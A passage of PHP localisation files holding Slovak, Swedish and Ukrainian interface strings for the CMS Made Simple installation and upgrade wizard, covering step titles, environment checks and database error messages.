$lang['confirm_freshen'] = 'Naozaj chcete obnoviť (opraviť) existujúcu inštaláciu CMSMS? Používajte mimoriadne opatrne!';
$lang['confirm_upgrade'] = 'Naozaj chcete spustiť proces aktualizovania?';
$lang['curl_extension'] = 'Kontrolujte sa rozšírenie Curl';
$lang['database_support'] = 'Skontrolovať kompatibilitu ovládačov databázy';
$lang['desc_wizard_step1'] = 'Spustiť inštaláciu alebo proces aktualizácie';
$lang['desc_wizard_step2'] = 'Analyzovať cieľový priečinok a nájsť existujúci softvér';
$lang['desc_wizard_step3'] = 'Vyberte ak sa chcete uistiť, že je všetko v poriadku a je možné nainštalovať jadro CMSMS';
$lang['desc_wizard_step4'] = 'Pre nové inštalácie a úkony spojené s obnovou zadajte základné informácie o konfigurácii';
$lang['desc_wizard_step5'] = 'Pre nové inštalácie zadajte informáciu o účte administrátora';
$lang['desc_wizard_step6'] = 'Pre nové inštalácie zadajte niektoré základné podrobnosti o stránke';
$lang['desc_wizard_step7'] = 'Extrahovať súbory';
$lang['desc_wizard_step8'] = 'Vytvoriť alebo aktualizovať schému databázy, nastaviť počiatočné udalosti, oprávnenia, účty používateľov, šablóny, štýlopisy a obsah';
$lang['desc_wizard_step9'] = 'Nainštalovať a/alebo aktualizovať moduly podľa potreby, vykonať zápis do konfiguračného súboru a vyčistiť.';
$lang['destination_directory'] = 'Cieľový priečinok';
$lang['dest_writable'] = 'Zapísať oprávnenie do cieľového priečinka';
$lang['disable_functions'] = 'Kontrola zablokovaných funkcií';
$lang['done'] = 'hotovo';
$lang['email_accountinfo_message'] = 'Vaša inštalácia systému CMS Made Simple bola dokončená.

Tento e-mail obsahuje citlivé informácie a mal by byť uložený na bezpečnom mieste. 

Tu sú podrobnosti o Vašej novej inštalácii:
meno používateľa: %s
heslo: %s
inštalačný priečinok: %s
hlavná (koreňová) URL: %s';
$lang['email_accountinfo_message_exp'] = 'Vaša inštalácia CMS Made Simple je dokončená.

Tento e-mail obsahuje citlivé informácie a mal by byť uložený na bezpečnom mieste. 

Tu sú podrobnosti o Vašej novej inštalácii:
meno používateľa: %s
heslo: %s
inštalačný priečinok: %s';
$lang['email_accountinfo_subject'] = 'Inštalácia CMS Made Simple bola úspešná';
$lang['emailaccountinfo'] = 'Odoslať informáciu o účte e-mailom';
$lang['emailaddr'] = 'E-mailová adresa';
$lang['error_adminacct_emailaddr'] = 'E-mailová adresa, ktorú ste zadali, nie je platná';
$lang['error_adminacct_emailaddrrequired'] = 'Vybrali ste si odoslanie informácií o účte e-mailom, ale nezadali ste platnú e-mailovú adresu';
$lang['error_adminacct_password'] = 'Zadané heslo je neplatné (musí mať najmenej šesť znakov)';
$lang['error_adminacct_repeatpw'] = 'Zadané heslá sa nezhodujú';
$lang['error_adminacct_username'] = 'Zadané meno používateľa nie je platné. Skúste to ešte raz, prosím';
$lang['error_backupconfig'] = 'Nie je možné korektne zálohovať konfiguračný súbor';
$lang['error_checksum'] = 'Kontrolný súčet extrahovaného súboru nezodpovedá originálu';
$lang['error_cmstablesexist'] = 'Zdá sa, že na tejto databáze je už nainštalovaný systém CMS. Prosím zadajte odlišné informácie o databáze. Ak chcete použiť odlišný prefix tabuľky, možno bude potrebné reštartovať proces inštalácie a zapnúť pokročilý režim.';
$lang['error_createtable'] = 'Problém pri vytváraní databázovej tabuľky... pravdepodobne súvisí tento problém s oprávneniami';
$lang['error_dbconnect'] = 'Nemožno sa pripojiť k databáze. Prosím znovu skontrolujte prihlasovacie údaje, ktoré ste zadali';
$lang['error_dirnotvalid'] = 'Priečinok %s neexistuje (alebo nie je možné do neho zapisovať)';
$lang['error_droptable'] = 'Problém s preskočením databázovej tabuľky... pravdepodobne súvisí tento problém s oprávneniami';
$lang['error_filenotwritable'] = 'Súbor %s nebolo možné prepísať (problém s oprávneniami)';
$lang['error_internal'] = 'Prepáčte, niekde sa stala chyba... (interná chyba %s)';
$lang['error_invalid_directory'] = 'Zdá sa, že priečinok vybraný pre nainštalovanie  je pracovným priečinkom samotného inštalátora';
$lang['error_invalidconfig'] = 'Chyba v konfiguračnom súbore, alebo konfiguračný súbor chýba';
$lang['error_invaliddbpassword'] = 'Heslo k databáze obsahuje neplatné znaky, ktoré nie je možné bezpečne uložiť.';
$lang['error_invalidkey'] = 'Neplatná premenná člena alebo kľúča %s pre triedu %s';
$lang['error_invalidparam'] = 'Neplatný parameter alebo hodnota parametra: %s';
$lang['error_missingconfigvar'] = 'Kľúč "%squot; buď chýba alebo nie je v konfiguračnom súbore config.ini platný';
$lang['error_noarchive'] = 'Problém pri nájdení archívu... prosím vykonajte reštart';
$lang['error_nlsnotfound'] = 'Problém s nájdením NLS súborov v archíve';
$lang['error_nodatabases'] = 'Nepodarilo sa nájsť žiadne kompatibilné rozšírenia databázy';
$lang['error_nodbhost'] = 'Prosím zadajte platné meno hostiteľa (alebo IP adresu) pre pripojenie k databáze';
$lang['error_nodbname'] = 'Prosím zadajte názov platnej databázy na hostiteľovi uvedenom hore';
$lang['error_nodbpass'] = 'Prosím zadajte platné heslo pre overenie prihlásenia k databáze';
$lang['error_nodbprefix'] = 'Prosím zadajte platný prefix pre databázové tabuľky';
$lang['error_nodbtype'] = 'Prosím vyberte typ databázy';
$lang['error_nodbuser'] = 'Prosím zadajte platné meno používateľa pre prihlásenie k databáze';
$lang['error_nodestdir'] = 'Cieľový priečinok nie je nastavený';
$lang['error_nositename'] = 'Názov stránky (sitename) je povinný parameter. Prosím zadajte vhodný názov pre vašu stránku.';
$lang['error_notimezone'] = 'Prosím zadajte platnú časovú zónu pre tento server';
$lang['error_sendingmail'] = 'Chyba pri posielaní e-mailu';
$lang['error_tzlist'] = 'Pri preberaní zoznamu identifikátorov časovej zóny nastal nejaký problém.';
$lang['errorlevel_estrict'] = 'Kontrola voľby E_STRICT';
$lang['errorlevel_edeprecated'] = 'Kontrola voľby E_DEPRECATED';
$lang['fail_func_json'] = 'nenašla sa funkcionalita json';
$lang['fail_func_gzopen'] = 'nenašla sa funkcia gzopen';
$lang['fail_func_md5'] = 'nenašla sa funkcionalita md5';
$lang['fail_func_tempnam'] = 'Funkcia tempnam neexistuje. Je však nevyhnutná pre správne fungovanie CMSMS';
$lang['fail_ini_set'] = 'Zdá sa, že nemôžeme zmeniť nastavenia ini. Mohlo by to spôsobiť problémy v moduloch tretích strán (alebo pri zapnutí režimu ladenia)';
$lang['fail_magic_quotes_runtime'] = 'Zdá sa, že v konfigurácií sú zapnuté tzv. magické úvodzovky (magic quotes). Prosím vypnite túto voľbu a skúste to znovu';
$lang['fail_max_execution_time'] = 'Vami určený max. ččas vykonávania %s nezodpovedá minimálnej hodnote %s. Odporúčame vám zvýšenie na %s alebo viac';
$lang['fail_memory_limit'] = 'Vaša hodnota pre limit pamäte je príliš nízka. Je nastavených %s, avšak minimálne sa vyžaduje %s a odporúča sa %s';
$lang['fail_multibyte_support'] = 'Podpora multibyte nie je zapnutá v konfigurácii';
$lang['fail_output_buffering'] = 'Ukladanie výstupu do vyrovnávacej pamäte nie je zapnutá.';
$lang['fail_open_basedir'] = 'Sú aktívne obmedzenia Open basedir. CMSMS však vyžaduje ich deaktivovanie';
$lang['fail_php_version'] = 'Verzia PHP dostupná pre CMSMS je veľmi dôležitá. Minimálna akceptovaná verzia je %s, odporúčame však %s alebo vyššiu. Máte %s';
$lang['fail_post_max_size'] = 'Vaša max. veľkosť pre odosielanie (%s) nezodpovedá minimálnej hodnote %s. Odporúča sa hodnota %s alebo vyššia a zabezpečte, aby bola väčšia ako hodnota parametra upload_max_filesize';
$lang['fail_pwd_writable2'] = 'HTTP proces musí byť schopný zapisovať do cieľového priečinka (a do všetkých súborov a priečinkov v jeho okolí), aby bolo možné nainštalovať súbory. Momentálne však nie je dostupné oprávnenie na zápis (minimálne) do %s';
$lang['fail_register_globals'] = 'Prosím vypnite položku register globals vo vašej konfgurácii PHP';
$lang['fail_remote_url'] = 'Zaznamenali sme problémy pri pripájaní k vzdialenej URL adrese. Kvôli tomu sa obmedzí funkcionalita systému CMS Made Simple';
$lang['ini_set'] = 'Testovanie toho, či je možné zmeniť nastavenia INI';
$lang['install'] = 'Nainštalovať';
$lang['install_attachstylesheets'] = 'Pripojiť štýlopisy k témam';
$lang['install_backupconfig'] = 'Zálohovanie konfiguračného súboru';
$lang['install_created_index'] = 'Vytvorený index %s... %s';
$lang['install_create_tables'] = 'Vytvoriť databázové tabuľky';
$lang['install_createconfig'] = 'Vytvoriť nový konfiguračný súbor';
$lang['install_createcontentpages'] = 'Vytvoriť predvolené stránky s obsahom';
$lang['install_created_table'] = 'Vytvorená tabuľka %s: .... %s';
$lang['install_createtablesindexes'] = 'Vytváranie tabuliek a indexov';
$lang['install_createtmpdirs'] = 'Vytvoriť dočasné priečinky';
$lang['install_creating_index'] = 'Vytvorený index %s';
$lang['install_default_collections'] = 'Nainštalovať predvolené kolekcie';
$lang['install_defaultcontent'] = 'Nainštalovať predvolený obsah';
$lang['install_detectlanguages'] = 'Detegovať nainštalované jazyky';
$lang['install_dropping_tables'] = 'Preskakovanie tabuliek';
$lang['install_dummyindexhtml'] = 'Vytváranie falošných súborov index.html';
$lang['install_extractfiles'] = 'Extrahovať súbory z archívu';
$lang['install_initevents'] = 'Vytvoriť udalosti';
$lang['install_initsitegroups'] = 'Vytvoriť počiatočné skupiny';
$lang['install_initsiteperms'] = 'Nastaviť počiatočné oprávnenia';
$lang['install_initsiteprefs'] = 'Nastaveniť počiatočné predvoľby stránky';
$lang['install_initsiteusers'] = 'Vytvoriť predvolený účet používateľa';
$lang['install_initsiteusertags'] = 'Počiatočné použivateľom definované tagy';
$lang['install_module'] = 'Nainštalovať modul %s';
$lang['install_modules'] = 'Nainštalovať dostupné moduly';
$lang['install_passwordsalt'] = 'Nastaviť salt pre heslo';
$lang['install_requireddata'] = 'Nastaviť počiatočné vyžadované údaje';
$lang['install_schema'] = 'Vytvoriť schému databázy';
$lang['install_setschemaver'] = 'Nastaviť verziu schémy';
$lang['install_setsequence'] = 'Reset sekvenčných tabuliek';
$lang['install_setsitename'] = 'Nastaviť názov stránky';
$lang['install_stylesheets'] = 'Vytvoriť predvolené štýlopisy';
$lang['install_templates'] = 'Vytvoriť predvolené šablóny';
$lang['install_templatetypes'] = 'Vytvoriť štandardné typy šablóny';
$lang['install_update_sequences'] = 'Aktualizovať sekvenčné tabuľky';
$lang['install_updatehierarchy'] = 'Aktualizovať pozície v hierarchii obsahu';
$lang['install_updateseq'] = 'Aktualizovať sekvenciu pre %s';
$lang['installer_ver'] = 'Verzia inštalátora';
$lang['legend'] = 'Legenda';
$lang['magic_quotes_runtime'] = 'Uistite sa, že sú vypnuté tzv. magické úvodzovky (magic quotes)';
$lang['max_execution_time'] = 'Kontrola maximálneho času vykonávania PHP skriptu';
$lang['meaning'] = 'Význam';
$lang['memory_limit'] = 'Kontrola dostatočného limitu pamäte pre PHP';
$lang['msg_clearedcache'] = 'Vyrovnávacia pamäť servera bola vyčistená';
$lang['msg_configsaved'] = 'Existujúci konfiguračný súbor bol uložený do %s';
$lang['msg_upgrade_module'] = 'Aktualizovanie modulu %s';
$lang['msg_upgrademodules'] = 'Aktualizovanie modulov';
$lang['msg_yourvalue'] = 'Máte: %s';
$lang['multibyte_support'] = 'Kontrola podpory multibyte';
$lang['next'] = 'Ďalej';
$lang['no'] = 'Nie';
$lang['none'] = 'Žiadne';
$lang['open_basedir'] = 'obmedzenia open_basedir';
$lang['open_basedir_session_save_path'] = 'voľba open_basedir je zapnutá. Nemožno otestovať cestu pre uloženie relácie.';
$lang['output_buffering'] = 'Uistite sa, že je zapnuté ukladanie výstupu do vyrovnávacej pamäte';
$lang['pass_config_writable'] = 'HTTP proces má oprávnenia na zápis do súboru config.php';
$lang['pass_database_support'] = 'Našiel sa minimálne jeden kompatibiliný ovládač databázy';
$lang['pass_func_json'] = 'detegovaná funkcionalita json';
$lang['pass_func_md5'] = 'bola detegovaná funkcionalita md5';
$lang['pass_func_tempnam'] = 'Funkcia tempnam existuje';
$lang['pass_multibyte_support'] = 'Zdá sa, že podpora multibyte je zapnutá';
$lang['pass_php_version'] = 'Aktuálne nakonfigurovaná verzia PHP nespĺňa minimálne požiadavky. Ako minimum je požadované PHP %s, aj keď odporúčame použitie verzie %s alebo vyššej';
$lang['pass_pwd_writable'] = 'HTTP proces môže zapisovať do cieľového priečinka. To je potrebné kvôli extrahovaniu súborov';
$lang['password'] = 'Heslo';
$lang['ph_sitename'] = 'Zadajte názov stránky';
$lang['php_version'] = 'Verzia PHP';
$lang['post_max_size'] = 'Kontrola maximálneho množstva dát, ktoré môžu byť vložené v jednej požiadavke';
$lang['prompt_addlanguages'] = 'Ďalšie jazyky';
$lang['prompt_createtables'] = 'Vytvoriť databázové tabuľky';
$lang['prompt_dbhost'] = 'Názov hostiteľa databázy';
$lang['prompt_dbinfo'] = 'Informácia o databáze';
$lang['prompt_dbname'] = 'Názov databázy';
$lang['prompt_dbpass'] = 'Heslo';
$lang['prompt_dbport'] = 'Číslo portu databázy';
$lang['prompt_dbprefix'] = 'Prefix názvu databázovej tabuľky';
$lang['prompt_dbtype'] = 'Typ databázy';
$lang['prompt_dbuser'] = 'Meno používateľa';
$lang['prompt_dir'] = 'Inštalačný priečinok';
$lang['prompt_installcontent'] = 'Nainštalovať vzorový obsah';
$lang['prompt_queryvar'] = 'Premenná pre dopyt';
$lang['prompt_sitename'] = 'Názov webovej stránky';
$lang['prompt_timezone'] = 'Časová zóna servera';
$lang['pwd_writable'] = 'Priečinok: zapisovateľný';
$lang['readme_uc'] = 'README';
$lang['remote_url'] = 'Test, či je možné nadviazať odchádzajúce HTTP spojenia';
$lang['repeatpw'] = 'Zopakovať heslo';
$lang['reset_site_preferences'] = 'Reset niektorých preferencií stránky';
$lang['reset_user_settings'] = 'Reset používateľských nastavení';
$lang['retry'] = 'Zopakovať';
$lang['saltpasswords'] = 'Salt hesiel';
$lang['session_save_path_exists'] = 'Session_save_path existuje';
$lang['session_save_path_writable'] = 'Session_save_path je zapisovateľná';
$lang['session_use_cookies'] = 'Zabezpečiť, aby relácie PHP používali cookies';
$lang['sometests_failed'] = 'Vykonali sme mnoho testov vášho aktuálneho webového prostredia. Nenašli sa žiadne kritické problémy, pred pokračovaním však odporúčame opraviť nasledujúce položky.';
$lang['step1_advanced'] = 'Pokročilý režim';
$lang['step1_destdir'] = 'Výber priečinka';
$lang['th_status'] = 'Stav';
$lang['th_testname'] = 'Test';
$lang['th_value'] = 'Hodnota';
$lang['title_error'] = 'Houston, máme problém!';
$lang['title_step2'] = 'Krok 2 – Detekcia existujúceho softvéru';
$lang['title_step3'] = 'Krok 3 – Testy';
$lang['title_step4'] = 'Krok 4 – Základné informácie o konfigurácii';
$lang['title_step5'] = 'Krok 5 – Informácia o účte administrátora';
$lang['title_step6'] = 'Krok 6 – Nastavenia stránky';
$lang['title_step7'] = 'Krok 7 – Nainštalovať súbory aplikácie';
$lang['title_step8'] = 'Krok 8 – Fungovanie databázy';
$lang['title_step9'] = 'Krok 9 – Dokončenie';
$lang['title_welcome'] = 'Vitajte';
$lang['title_forum'] = 'Fórum pre podporu';
$lang['title_docs'] = 'Oficiálna dokumentácia';
$lang['title_api_docs'] = 'Oficiálna dokumentácia API';
$lang['to'] = 'pre';
$lang['title_share'] = 'Podeľte sa o váš dojem so svojimi priateľmi';
$lang['tmpfile'] = 'Kontrola fungujúceho tmpfile()';
$lang['upgrade'] = 'Aktualizácia';
$lang['upgrade_deleteoldevents'] = 'Vymazávanie starších udalostí';
$lang['upgrading_schema'] = 'Aktualizovanie schémy databázy';
$lang['upload_max_filesize'] = 'Kontrola maximálnej veľkosti odosielaných súborov';
$lang['username'] = 'Meno používateľa';
$lang['wizard_step1'] = 'Vitajte';
$lang['wizard_step2'] = 'Detekcia existujúceho softvéru';
$lang['wizard_step3'] = 'Testy kompatibility';
$lang['wizard_step4'] = 'Konfiguračná informácia';
$lang['wizard_step5'] = 'Informácia o účte administrátora';
$lang['wizard_step6'] = 'Nastavenia stránky';
$lang['wizard_step7'] = 'Súbory';
$lang['wizard_step8'] = 'Fungovanie databázy';
$lang['wizard_step9'] = 'Dokončiť';
$lang['xml_functions'] = 'Kontrola XML funkcionality';
$lang['yes'] = 'Áno';
?><?php
$lang['advanced_mode'] = 'Aktivera avancerade inställningar';
$lang['available_languages'] = 'Tillgängliga språk';
$lang['cleaning_files'] = 'Rensar bort filer som inte längre behövs i den här utgåvan';
$lang['config_writable'] = 'Kontrollerar skrivbarhet för configurationsfilen';
$lang['confirm_freshen'] = 'Är du säker på att du vill uppgradera (reparera) den existerande installationen av CMSMS? Gå endast vidare om du är säker!';
$lang['confirm_upgrade'] = 'Är du säker på att du vill påbörja uppgraderingsprocessen?';
$lang['done'] = 'färdig';
$lang['email_accountinfo_message'] = 'Din installation av CMS Made Simple är slutförd.

Detta meddelande innehåller känslig information och bör hanteras/lagras på ett säkert sätt.

Detaljer för din installation:
Användarnamn: %s
Lösenord: %s
Installationsmapp: %s
Root URL: %s';
$lang['email_accountinfo_message_exp'] = 'Din installation av CMS Made Simple är slutförd.

Detta meddelande innehåller känslig information och bör hanteras/lagras på ett säkert sätt.

Detaljer för din installation:
Användarnamn: %s
Lösenord: %s
Installationsmapp: %s';
$lang['title_step2'] = 'Steg 2 - Söker befintliga program';
$lang['title_step3'] = 'Steg 3 - Tester';
$lang['title_step4'] = 'Steg 4 - Grundläggande konfiguration';
$lang['title_step5'] = 'Steg 5 - Administratörskontot';
$lang['title_step6'] = 'Steg 6 - Webbplatsinställningar';
$lang['title_step7'] = 'Steg 7 - Installation av programfiler';
$lang['title_step8'] = 'Steg 8 - Databasinställningar';
$lang['title_step9'] = 'Steg 9 - Slutför';
$lang['title_welcome'] = 'Välkommen';
$lang['title_forum'] = 'Supportforum';
$lang['title_docs'] = 'Officiell dokumentation';
$lang['title_api_docs'] = 'Officiell API-dokumentation';
$lang['to'] = 'till';
$lang['title_share'] = 'Dela dina erfarenheter med dina vänner.';
$lang['wizard_step1'] = 'Välkommen';
$lang['yes'] = 'Ja';
?><?php
$lang['action_freshen'] = 'Поновлення/полагодження встановленої системи %s CMSMS';
$lang['action_install'] = 'Створення нового веб-сайту %s CMSMS';
$lang['action_upgrade'] = 'Оновлення веб-сайту CMSMS до версії %s';
$lang['advanced_mode'] = 'Увімкнути розширений режим';
$lang['apptitle'] = 'Помічник інсталяції та оновлення';
$lang['assets_dir_exists'] = 'Тека Assets існує';
$lang['available_languages'] = 'Доступні мови';
$lang['build_date'] = 'Дата збірки';
$lang['changelog_uc'] = 'Журнал змін';
$lang['cleaning_files'] = 'Очищення файлів, які більше не застосовуються для даної версії';
$lang['config_writable'] = 'Перевірте, чи файл конфігурації доступний для запису';
$lang['confirm_freshen'] = 'Ви впевнені, що хочете поновити (полагодити) існуючу встановлену систему CMSMS? Будьте особливо обережні!';
$lang['confirm_upgrade'] = 'Ви впевнені, що хочете почати процес оновлення';
$lang['curl_extension'] = 'Перевірка наявності розширень Curl';
$lang['create_assets_structure'] = 'Створення локації для файлів ресурсів';
$lang['database_support'] = 'Перевірити наявність сумісних драйверів бази даних';
$lang['desc_wizard_step1'] = 'Почати процес встановлення або оновлення';
$lang['desc_wizard_step2'] = 'Аналізувати теку призначення, щоб знайти існуюче програмне забезпечення';
$lang['desc_wizard_step3'] = 'Переконайтеся, що все є в порядку, щоб встановити ядро CMSMS';
$lang['desc_wizard_step4'] = 'Для нових інсталяцій та операцій поновлення, введіть базові налаштування';
$lang['desc_wizard_step5'] = 'Для нових інсталяцій, введіть інформацію про обліковий запис адміністратора';
$lang['desc_wizard_step6'] = 'Для нових інсталяцій, введіть базову інформацю про сайт';
$lang['desc_wizard_step7'] = 'Розпакувати файли';
$lang['desc_wizard_step8'] = 'Створити або оновити схему бази даних, встановити початкові події, дозволи, облікові записи користувачів, шаблони, таблиці стилів та вміст';
$lang['desc_wizard_step9'] = 'Інсталяція та/або оновлення модулів у разі потреби, запис файлу конфігурації та очистка.';
$lang['destination_directory'] = 'Тека призначення';
$lang['dest_writable'] = 'Дозвіл для запису у теці призначення';
$lang['disable_functions'] = 'Перевірка вимкнених функцій';
$lang['done'] = 'Завершено';
$lang['email_accountinfo_message'] = 'Інсталяцію CMS Made Simple завершено.

Цей електронний лист містить конфіденційну інформацію та повинен зберігатися в безпечному місці.

Ось деталі вашої встановленої системи.
ім\'я користувача: %s
пароль: %s
тека, до якої інстальовано: %s
коренева URL-адреса: %s';
$lang['email_accountinfo_message_exp'] = 'Інсталяцію CMS Made Simple завершено.

Цей електронний лист містить конфіденційну інформацію та повинен зберігатися в безпечному місці.

Ось деталі вашої встановленої системи.
ім\'я користувача: %s
пароль: %s
тека, до якої інстальовано: %s';
$lang['email_accountinfo_subject'] = 'CMS Made Simple успішно встановлено';
$lang['emailaccountinfo'] = 'Надіслати на електронну пошту інформацію про обліковий запис';
$lang['emailaddr'] = 'Адреса електронної пошти';
$lang['error_adminacct_emailaddr'] = 'Вказана адреса електронної пошти недійсна';
$lang['error_adminacct_emailaddrrequired'] = 'Ви обрали отримання інформації про обліковий запис електронною поштою, але не ввели дійсну адресу електронної пошти';
$lang['error_adminacct_password'] = 'Вказаний пароль недійсний (повинен містити принаймні шість символів)';
$lang['error_adminacct_repeatpw'] = 'Введені паролі не збігаються.';
$lang['error_adminacct_username'] = 'Вказане ім\'я користувача недійсне. Будь ласка, спробуйте ще раз';
$lang['error_admindirrenamed'] = 'Вірогідно, що ви з міркувань безпеки перейменували свою адмін. теку CMSMS. Вам потрібно буде перейменувати її назад <a href="https://docs.cmsmadesimple.org/general-information/securing-cmsms#renaming-admin-folder" target="_blank" class="external">(детальніше)</a>, щоб продовжити!<br/><br/>Після повернення назви адмін. теки до її оригінальної назви, перезавантажте цю сторінку.';
$lang['error_backupconfig'] = 'Ми не змогли належним чином створити резервну копію файлу конфігурації';
$lang['error_checksum'] = 'Контрольна сума файлу не відповідає оригіналу';
$lang['error_cmstablesexist'] = 'Схоже, що в цій базі даних вже встановлена система CMS. Будь ласка, вкажіть іншу базу даних. Якщо ви хочете використовувати інший префікс таблиць, можливо, доведеться перезапустити процес інсталяції та увімкнути розширений режим.';
$lang['error_createtable'] = 'Проблема зі створенням таблиці бази даних ... можливо, проблема з правами доступу користувача бази даних';
$lang['error_dbconnect'] = 'Не вдалося підключитися до бази даних. Будь ласка, перевірте ще раз введені вами дані';
$lang['error_dirnotvalid'] = 'Тека %s не існує (або не доступна для запису)';
$lang['error_droptable'] = 'Проблема зі знищенням таблиці бази даних ... можливо, проблема з правами доступу користувача бази даних';
$lang['error_filenotwritable'] = 'Неможливо перезаписати файл %s (проблема з правами доступу)';
$lang['error_internal'] = 'Вибачте, щось пішло не так ... (внутрішня помилка) (%s)';
$lang['error_invalid_directory'] = 'Схоже, що тека, в яку ви хочете інсталювати, є робочою текою самого інсталятора';
$lang['error_invalidconfig'] = 'Помилка в файлі конфігурації або файл конфігурації відсутній';
$lang['error_invaliddbpassword'] = 'Пароль бази даних містить невірні символи, які не можуть бути безпечно збережені.';
$lang['error_invalidkey'] = 'Недійсна змінна або ключ %s для класу %s';
$lang['error_invalidparam'] = 'Недійсний параметр або його значення: %s';
$lang['error_invalidtimezone'] = 'Неправильно вказаний часовий пояс';
$lang['error_invalidqueryvar'] = 'Введена змінна запиту містить недійсні символи. Будь ласка, використовуйте лише буквено-цифрові символи та знаки підкреслення.';
$lang['error_missingconfigvar'] = 'Ключ "%s" відсутній або недійсний у файлі config.ini';
$lang['error_noarchive'] = 'Проблема з пошуком архіву ... будь ласка, перезапустіть процес';
$lang['error_nlsnotfound'] = 'Проблема з пошуком файлів NLS в архіві';
$lang['error_nodatabases'] = 'Не знайдено сумісних розширень бази даних';
$lang['error_nodbhost'] = 'Будь ласка, введіть дійсне ім\'я хоста (або IP-адресу) для з\'єднання з базою даних';
$lang['error_nodbname'] = 'Будь ласка, введіть назву дійсної бази даних на сервері, зазначеному вище';
$lang['error_nodbpass'] = 'Будь ласка, введіть дійсний пароль для аутентифікації в базі даних';
$lang['error_nodbprefix'] = 'Будь ласка, введіть дійсний префікс для таблиць бази даних';
$lang['error_nodbtype'] = 'Будь ласка, виберіть тип бази даних';
$lang['error_nodbuser'] = 'Будь ласка, введіть дійсне ім\'я користувача для аутентифікації в базі даних';
$lang['error_nodestdir'] = 'Теку призначення не встановлено';
$lang['error_nositename'] = 'Назва сайту - це обов\'язковий параметр. Будь ласка, введіть підхожу назву для вашого веб-сайту.';
$lang['error_notimezone'] = 'Будь ласка, введіть дійсний часовий пояс для цього сервера';
$lang['error_overwrite'] = 'Проблеми з правами доступу: неможливо перезаписати %s';
$lang['error_sendingmail'] = 'Помилка при надсиланні пошти';
$lang['error_tzlist'] = 'Виникла проблема з отриманням списку ідентифікаторів часових поясів';
$lang['errorlevel_estrict'] = 'Перевірка E_STRICT';
$lang['errorlevel_edeprecated'] = 'Перевірка E_DEPRECATED';
$lang['edeprecated_enabled'] = 'E_DEPRECATED увімкнено у  error_reporting PHP. Хоча це не завадить роботі CMSMS, це може призвести до появи попереджень на екрані виводу, особливо старими модулями сторонніх розробників';
$lang['estrict_enabled'] = 'E_STRICT увімкнено у error_reporting PHP. Хоча це не завадить роботі CMSMS, це може призвести до того, що попередження відображатимуться у виводі HTML, особливо з більш старих модулів сторонніх розробників';
$lang['fail_assets_dir'] = 'Тека Аssets вже існує. Ця програма може записувати в цю теку для упорядкування розташування файлів. Будь ласка, переконайтеся, що у вас є резервна копія';
$lang['fail_assets_msg'] = 'Тека Аssets вже існує. Ця програма може записувати в цю теку для упорядкування розташування файлів. Будь ласка, переконайтеся, що у вас є резервна копія';
$lang['fail_config_writable'] = 'Процес HTTP не може записати до файлу config.php. Будь ласка, спробуйте змінити права доступу на цей файл на 777 до завершення процесу оновлення';
$lang['fail_curl_extension'] = 'Розширення curl не знайдено. Хоча це не є критичною проблемою, це може спричинити проблеми з деякими сторонними модулями';
$lang['fail_database_support'] = 'Не знайдено сумісних драйверів бази даних';
$lang['fail_file_get_contents'] = 'Функція file_get_contents не існує або вимкнена. CMSMS неможливо продовжити (навіть інсталятор, ймовірно, не зможе).';
$lang['fail_file_uploads'] = 'Можливості завантаження файлів вимкнені у цьому середовищі. Деякі функції CMSMS не працюватимуть у цьому середовищі';
$lang['fail_func_json'] = 'Функцію json не знайдено';
$lang['fail_func_gzopen'] = 'Функцію gzopen не знайдено';
$lang['fail_func_md5'] = 'Функцію md5 не знайдено';
$lang['fail_func_tempnam'] = 'Функція tempnam не існує. Вона обов\'язкова для функціонування CMSMS';
$lang['fail_func_ziparchive'] = 'Функцію ZipArchive не знайдено. Це може обмежити функціональність';
$lang['fail_ini_set'] = 'Схоже, що ми не можемо змінювати налаштування ini. Це може спричинити проблеми в сторонніх модулях (або, якщо ввімкнути режим зневаджування (debug mode))';
$lang['fail_magic_quotes_runtime'] = 'Схоже, у вашій конфігурації увімкнено magic quotes. Вимкніть їх і повторіть спробу';
$lang['fail_max_execution_time'] = 'Ваш максимальний час виконання %s не відповідає мінімальному значенню %s. Рекомендуємо збільшити його до %s або більше.';
$lang['fail_memory_limit'] = 'Ваш ліміт пам\'яті занадто низький. Ви мали %s, хоча потрібна мінімальна кількість %s, а рекомендується %s';
$lang['fail_multibyte_support'] = 'Підтримку Multibyte не ввімкнено у вашій конфігурації';
$lang['fail_output_buffering'] = 'Буфер виводу не активовано.';
$lang['fail_open_basedir'] = 'Діють відкриті обмеження basedir. CMSMS вимагає, щоб їх було відключено';
$lang['fail_php_version'] = 'Версія PHP, доступна для CMSMS, є надзвичайно важливою. Мінімальна прийнятна версія - %s, хоча ми рекомендуємо %s або новішу. У вас зараз - %s';
$lang['fail_post_max_size'] = 'Ваш максимальний розмір відправки (post_max_size) %s не відповідає мінімальному значенню %s. Рекомендовано значення %s або більше, та переконайтеся, що воно більше, ніж upload_max_filesize';
$lang['fail_pwd_writable2'] = 'Процес HTTP повинен мати можливість записувати до теки призначення (а також до всіх файлів та підпорядкованих тек) для інсталяції файлів. Ми не маємо дозволу на запис (принаймні) %s';
$lang['fail_register_globals'] = 'Будь ласка, вимкніть register_globals в конфігурації PHP';
$lang['fail_remote_url'] = 'Ми виявили проблеми з підключенням до віддаленої URL-адреси. Це обмежить функціональність CMS Made Simple';
$lang['fail_safe_mode'] = 'CMSMS не буде працювати належним чином в середовищі, де активований safe mode (безпечний режим). Safe mode вважається застарілим і його буде видалено в майбутніх версіях PHP';
$lang['fail_session_save_path_exists'] = 'Шлях до збереження сесій недійсний або тека не існує';
$lang['fail_session_save_path_writable'] = 'Тека для збереження сесій не доступна для запису';
$lang['fail_session_use_cookies'] = 'CMSMS вимагає налаштування PHP для збереження ключа сесії у файлі cookie';
$lang['fail_tmpfile'] = 'Функція tmpfile() не працює. Вона необхідна для розпакування архівів. Ви можете викристати аргумент TMPDIR в URL-адресі, щоб вказати інсталятору на специфічну теку, в яку можна записати. Див. файл README, який повинен бути включений до цієї теки.';
$lang['fail_tmp_dirs_empty'] = 'Тимчасові теки CMSMS <em>(tmp/cache and tmp/templates_c)</em> існують і не порожні. Будь-ласка, видаліть або замініть їх';
$lang['fail_xml_functions'] = 'Розширення XML не знайдено. Будь ласка, увімкніть його у своєму середовищі PHP';
$lang['failed'] = 'не пройдено';
$lang['file_get_contents'] = 'Тестування функції file_get_contents';
$lang['file_installed'] = 'Інстальовано %s';
$lang['file_uploads'] = 'Перевірка підтримки вивантаження файлів';
$lang['finished_custom_freshen_msg'] = 'Вашу систему CMSMS поновлено! Основні файли оновлено та створено новий файл конфігурації. Будь ласка, відвідайте веб-сайт, щоб переконатися, що все працює правильно';
